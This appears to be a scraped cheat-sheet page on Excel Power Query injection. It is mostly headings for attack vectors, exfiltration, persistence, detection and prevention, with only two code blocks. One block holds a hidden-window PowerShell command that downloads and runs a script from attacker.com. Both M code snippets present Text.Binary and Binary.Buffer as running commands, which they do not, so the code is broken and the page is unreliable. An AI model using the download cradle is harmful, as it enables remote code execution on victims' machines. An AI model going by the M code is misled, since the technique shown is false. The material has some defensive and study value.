Excel Power Query Injection
📋 Overview
🎯 Attack Vectors
1. M Code Injection
Basic M Code Execution
let
Source = Excel.CurrentWorkbook(){[Name="Table1"]}[Content],
// Malicious M code injection
ExecuteCommand = Text.Binary("cmd.exe /c calc.exe"),
RunCommand = Binary.Buffer(ExecuteCommand)
in
RunCommandPowerShell Execution via M Code
let
// Execute PowerShell command
PSCommand = "powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')",
ExecutePS = Text.Binary(PSCommand),
Result = Binary.Buffer(ExecutePS)
in
ResultBase64-Encoded M Code
2. Data Source Manipulation
Malicious Web Content
SharePoint Injection
SQL Injection via Power Query
3. Custom Connector Injection
Custom Connector with Malicious Code
Connector Persistence
4. Data Exfiltration via Power Query
Exfiltrate User Data
Exfiltrate Excel Data
5. Scheduled Refresh Attacks
Auto-Execute on Refresh
Persistence via Scheduled Refresh
6. Advanced M Code Obfuscation
Function-Based Obfuscation
List Manipulation
7. Environment Variable Abuse
System Information Collection
8. File System Manipulation
Read Sensitive Files
🛡️ Detection Techniques
Power Query Anomalies
Behavioral Indicators
Technical Detection
🚫 Prevention Measures
Excel Security Settings
Network Controls
Security Policies
📚 References
Last updated